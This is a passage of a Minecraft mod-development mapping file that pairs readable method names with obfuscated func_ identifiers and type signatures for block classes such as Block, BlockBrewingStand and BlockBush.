(Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/Block/collisionRayTrace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; net/minecraft/block/Block/func_180636_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/Vec3;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/MovingObjectPosition; +MD: net/minecraft/block/Block/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/Block/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/Block/canReplace (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/item/ItemStack;)Z net/minecraft/block/Block/func_176193_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/block/Block/onEntityCollidedWithBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;)V net/minecraft/block/Block/func_176199_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/Block/onFallenUpon (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;F)V net/minecraft/block/Block/func_180658_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/block/Block/modifyAcceleration (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; net/minecraft/block/Block/func_176197_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;Lnet/minecraft/util/Vec3;)Lnet/minecraft/util/Vec3; +MD: net/minecraft/block/Block/onBlockClicked (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/Block/func_180649_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/Block/spawnAsEntity (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/Block/func_180635_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/Block/onLanded (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;)V net/minecraft/block/Block/func_176216_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/Block/harvestBlock (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V net/minecraft/block/Block/func_180657_a (Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/tileentity/TileEntity;)V +MD: net/minecraft/block/Block/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/Block/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/Block/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/Block/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/Block/getWeakPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/Block/func_180656_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/Block/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/Block/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/Block/setStepSound (Lnet/minecraft/block/Block$SoundType;)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149672_a (Lnet/minecraft/block/Block$SoundType;)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getIdFromBlock (Lnet/minecraft/block/Block;)I net/minecraft/block/Block/func_149682_b (Lnet/minecraft/block/Block;)I +MD: net/minecraft/block/Block/isEqualTo (Lnet/minecraft/block/Block;Lnet/minecraft/block/Block;)Z net/minecraft/block/Block/func_149680_a (Lnet/minecraft/block/Block;Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/Block/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/Block/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/Block/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/Block/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/Block/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/Block/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/Block/canCollideCheck (Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/Block/func_176209_a (Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/Block/isVecInsideYZBounds (Lnet/minecraft/util/Vec3;)Z net/minecraft/block/Block/func_149654_a (Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/block/Block/quantityDropped (Ljava/util/Random;)I net/minecraft/block/Block/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/Block/getExplosionResistance (Lnet/minecraft/entity/Entity;)F net/minecraft/block/Block/func_149638_a (Lnet/minecraft/entity/Entity;)F +MD: net/minecraft/block/Block/getPlayerRelativeBlockHardness (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)F net/minecraft/block/Block/func_180647_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/block/Block/setCreativeTab (Lnet/minecraft/creativetab/CreativeTabs;)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149647_a (Lnet/minecraft/creativetab/CreativeTabs;)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getBlockFromItem (Lnet/minecraft/item/Item;)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149634_a (Lnet/minecraft/item/Item;)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/Block/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/Block/setTickRandomly (Z)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149675_a (Z)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getRenderType ()I net/minecraft/block/Block/func_149645_b ()I +MD: net/minecraft/block/Block/setResistance (F)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149752_b (F)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getSelectedBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/Block/func_180646_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/Block/dropXpOnBlockBreak (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V net/minecraft/block/Block/func_180637_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/block/Block/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/Block/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/Block/dropBlockAsItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V net/minecraft/block/Block/func_176226_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;I)V +MD: net/minecraft/block/Block/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/Block/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/Block/canPlaceBlockOnSide (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/Block/func_176198_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/Block/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/Block/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/Block/getStrongPower (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I net/minecraft/block/Block/func_176211_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/EnumFacing;)I +MD: net/minecraft/block/Block/isBlockSolid (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/Block/func_176212_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/Block/isAssociatedBlock (Lnet/minecraft/block/Block;)Z net/minecraft/block/Block/func_149667_c (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/Block/getStateForEntityRender (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/Block/func_176217_b (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/Block/isVecInsideXZBounds (Lnet/minecraft/util/Vec3;)Z net/minecraft/block/Block/func_149687_b (Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/block/Block/getBlockFromName (Ljava/lang/String;)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149684_b (Ljava/lang/String;)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/isOpaqueCube ()Z net/minecraft/block/Block/func_149662_c ()Z +MD: net/minecraft/block/Block/setHardness (F)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149711_c (F)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getBlockById (I)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149729_e (I)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/Block/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/Block/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/Block/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/Block/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/Block/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/Block/getMixedBrightnessForBlock (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/Block/func_176207_c (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/Block/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/Block/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/Block/isVecInsideXYBounds (Lnet/minecraft/util/Vec3;)Z net/minecraft/block/Block/func_149661_c (Lnet/minecraft/util/Vec3;)Z +MD: net/minecraft/block/Block/setUnlocalizedName (Ljava/lang/String;)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149663_c (Ljava/lang/String;)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/isFullCube ()Z net/minecraft/block/Block/func_149686_d ()Z +MD: net/minecraft/block/Block/getStateById (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/Block/func_176220_d (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/Block/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/Block/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/Block/onBlockDestroyedByPlayer (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/Block/func_176206_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/Block/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/Block/func_176202_d (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/Block/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/Block/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/Block/setLightOpacity (I)Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149713_g (I)Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getLocalizedName ()Ljava/lang/String; net/minecraft/block/Block/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/Block/getStateId (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/Block/func_176210_f (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/Block/canSpawnInBlock ()Z net/minecraft/block/Block/func_181623_g ()Z +MD: net/minecraft/block/Block/getBlockHardness (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)F net/minecraft/block/Block/func_176195_g (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/block/Block/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/Block/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/Block/getAmbientOcclusionLightValue ()F net/minecraft/block/Block/func_149685_I ()F +MD: net/minecraft/block/Block/getRenderColor (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/Block/func_180644_h (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/Block/canProvidePower ()Z net/minecraft/block/Block/func_149744_f ()Z +MD: net/minecraft/block/Block/createStackedBlock (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; net/minecraft/block/Block/func_180643_i (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/block/Block/setBlockBoundsForItemRender ()V net/minecraft/block/Block/func_149683_g ()V +MD: net/minecraft/block/Block/getDamageValue (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/Block/func_176222_j (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/Block/setDefaultState (Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/Block/func_180632_j (Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/Block/getMobilityFlag ()I net/minecraft/block/Block/func_149656_h ()I +MD: net/minecraft/block/Block/fillWithRain (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/Block/func_176224_k (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/Block/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/Block/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/Block/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/Block/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/Block/isFullBlock ()Z net/minecraft/block/Block/func_149730_j ()Z +MD: net/minecraft/block/Block/getLightOpacity ()I net/minecraft/block/Block/func_149717_k ()I +MD: net/minecraft/block/Block/isTranslucent ()Z net/minecraft/block/Block/func_149751_l ()Z +MD: net/minecraft/block/Block/getLightValue ()I net/minecraft/block/Block/func_149750_m ()I +MD: net/minecraft/block/Block/getUseNeighborBrightness ()Z net/minecraft/block/Block/func_149710_n ()Z +MD: net/minecraft/block/Block/getMaterial ()Lnet/minecraft/block/material/Material; net/minecraft/block/Block/func_149688_o ()Lnet/minecraft/block/material/Material; +MD: net/minecraft/block/Block/toString ()Ljava/lang/String; net/minecraft/block/Block/toString ()Ljava/lang/String; +MD: net/minecraft/block/Block/isBlockNormalCube ()Z net/minecraft/block/Block/func_149637_q ()Z +MD: net/minecraft/block/Block/isNormalCube ()Z net/minecraft/block/Block/func_149721_r ()Z +MD: net/minecraft/block/Block/isVisuallyOpaque ()Z net/minecraft/block/Block/func_176214_u ()Z +MD: net/minecraft/block/Block/setBlockUnbreakable ()Lnet/minecraft/block/Block; net/minecraft/block/Block/func_149722_s ()Lnet/minecraft/block/Block; +MD: net/minecraft/block/Block/getTickRandomly ()Z net/minecraft/block/Block/func_149653_t ()Z +MD: net/minecraft/block/Block/hasTileEntity ()Z net/minecraft/block/Block/func_149716_u ()Z +MD: net/minecraft/init/Blocks/getRegisteredBlock (Ljava/lang/String;)Lnet/minecraft/block/Block; net/minecraft/init/Blocks/func_180383_a (Ljava/lang/String;)Lnet/minecraft/block/Block; +MD: net/minecraft/block/IGrowable/canGrow (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z net/minecraft/block/IGrowable/func_176473_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Z)Z +MD: net/minecraft/block/IGrowable/canUseBonemeal (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/IGrowable/func_180670_a (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/IGrowable/grow (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/IGrowable/func_176474_b (Lnet/minecraft/world/World;Ljava/util/Random;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockBookshelf/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockBookshelf/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockBookshelf/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockBookshelf/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockBrewingStand/hasComparatorInputOverride ()Z net/minecraft/block/BlockBrewingStand/func_149740_M ()Z +MD: net/minecraft/block/BlockBrewingStand/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockBrewingStand/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockBrewingStand/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockBrewingStand/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockBrewingStand/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockBrewingStand/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockBrewingStand/onBlockPlacedBy (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V net/minecraft/block/BlockBrewingStand/func_180633_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/block/BlockBrewingStand/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockBrewingStand/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockBrewingStand/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockBrewingStand/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockBrewingStand/getRenderType ()I net/minecraft/block/BlockBrewingStand/func_149645_b ()I +MD: net/minecraft/block/BlockBrewingStand/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockBrewingStand/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockBrewingStand/isOpaqueCube ()Z net/minecraft/block/BlockBrewingStand/func_149662_c ()Z +MD: net/minecraft/block/BlockBrewingStand/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockBrewingStand/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockBrewingStand/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockBrewingStand/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockBrewingStand/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockBrewingStand/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockBrewingStand/isFullCube ()Z net/minecraft/block/BlockBrewingStand/func_149686_d ()Z +MD: net/minecraft/block/BlockBrewingStand/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockBrewingStand/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockBrewingStand/getLocalizedName ()Ljava/lang/String; net/minecraft/block/BlockBrewingStand/func_149732_F ()Ljava/lang/String; +MD: net/minecraft/block/BlockBrewingStand/setBlockBoundsForItemRender ()V net/minecraft/block/BlockBrewingStand/func_149683_g ()V +MD: net/minecraft/block/BlockBrewingStand/getComparatorInputOverride (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockBrewingStand/func_180641_l (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockBrewingStand/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockBrewingStand/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockBush/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockBush/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockBush/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockBush/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockBush/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockBush/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockBush/isOpaqueCube ()Z net/minecraft/block/BlockBush/func_149662_c ()Z +MD: net/minecraft/block/BlockBush/canPlaceBlockOn (Lnet/minecraft/block/Block;)Z net/minecraft/block/BlockBush/func_149854_a (Lnet/minecraft/block/Block;)Z +MD: net/minecraft/block/BlockBush/isFullCube ()Z net/minecraft/block/BlockBush/func_149686_d ()Z +MD: net/minecraft/block/BlockBush/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockBush/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockBush/checkAndDropBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockBush/func_176475_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockBush/canBlockStay (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z net/minecraft/block/BlockBush/func_180671_f (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Z +MD: net/minecraft/block/BlockBush/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockBush/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockButton/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockButton/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockButton/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockButton/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockButton/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockButton/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockButton/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockButton/func_176204_a 